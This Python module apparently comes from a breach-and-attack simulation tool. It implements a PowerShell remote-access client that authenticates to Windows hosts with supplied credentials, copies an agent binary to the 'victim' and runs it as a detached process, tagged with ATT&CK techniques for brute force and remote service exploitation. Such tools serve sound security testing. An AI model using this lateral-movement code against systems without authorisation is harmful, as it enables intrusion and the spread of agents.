import logging
from pathlib import Path, PurePath
from typing import Callable, Collection, Set, Type

from common import OperatingSystem
from common.agent_events import AgentEventTag
from common.credentials import Credentials
from common.tags import (
    BRUTE_FORCE_T1110_TAG,
    EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG,
    INGRESS_TOOL_TRANSFER_T1105_TAG,
    REMOTE_SERVICES_T1021_TAG,
    SYSTEM_SERVICES_T1569_TAG,
)
from infection_monkey.exploit.tools import (
    IRemoteAccessClient,
    RemoteAuthenticationError,
    RemoteCommandExecutionError,
    RemoteFileCopyError,
)
from infection_monkey.exploit.tools.helpers import get_random_file_suffix
from infection_monkey.i_puppet import TargetHost

from .powershell_authentication_options import get_auth_options
from .powershell_client import PowerShellClient
from .powershell_options import PowerShellOptions

logger = logging.getLogger(__name__)
LOGIN_TAGS = {
    REMOTE_SERVICES_T1021_TAG,
    BRUTE_FORCE_T1110_TAG,
    EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG,
}
COPY_FILE_TAGS = {
    INGRESS_TOOL_TRANSFER_T1105_TAG,
}
EXECUTION_TAGS = {
    REMOTE_SERVICES_T1021_TAG,
    EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG,
    SYSTEM_SERVICES_T1569_TAG,
}


class PowerShellRemoteAccessClient(IRemoteAccessClient):
    def __init__(
        self,
        host: TargetHost,
        options: PowerShellOptions,
        command_builder: Callable[[PurePath], str],
        powershell_client: PowerShellClient,
    ):
        self._host = host
        self._options = options
        self._command_builder = command_builder
        self._powershell_client = powershell_client

    def login(self, credentials: Credentials, tags: Set[AgentEventTag]):
        tags.update(LOGIN_TAGS)

        try:
            auth_options = get_auth_options(credentials, self._host)
            self._powershell_client.connect(
                self._host, credentials, auth_options, timeout=self._options.winrm_connect_timeout
            )
        except Exception as err:
            error_message = f"Failed to authenticate over PowerShell with {credentials}: {err}"
            raise RemoteAuthenticationError(error_message)

    def _raise_if_not_authenticated(self, error_type: Type[Exception]):
        if not self._powershell_client.connected():
            raise error_type(
                "This operation cannot be performed until authentication is successful"
            )

    def get_os(self) -> OperatingSystem:
        return OperatingSystem.WINDOWS

    def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]):
        self._raise_if_not_authenticated(RemoteCommandExecutionError)

        try:
            tags.update(EXECUTION_TAGS)
            self._powershell_client.execute_cmd_as_detached_process(
                self._command_builder(agent_binary_path)
            )
        except Exception as err:
            raise RemoteCommandExecutionError(err)

    def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]):
        self._raise_if_not_authenticated(RemoteFileCopyError)
        temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}")

        logger.debug(
            f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}"
        )

        self._create_local_agent_file(file, temp_monkey_binary_filepath)

        try:
            logger.info(f"Attempting to copy the monkey agent binary to {self._host.ip}")
            self._powershell_client.copy_file(temp_monkey_binary_filepath, destination_path)
            tags.update(COPY_FILE_TAGS)
        except Exception as err:
            raise RemoteFileCopyError(f"Failed to copy the agent binary to the victim: {err}")
        finally:
            if temp_monkey_binary_filepath.is_file():
                temp_monkey_binary_filepath.unlink()

    def _create_local_agent_file(self, file: bytes, binary_path: Path):
        with open(binary_path, "wb") as f:
            f.write(file)

    def get_writable_paths(self) -> Collection[PurePath]:
        return []
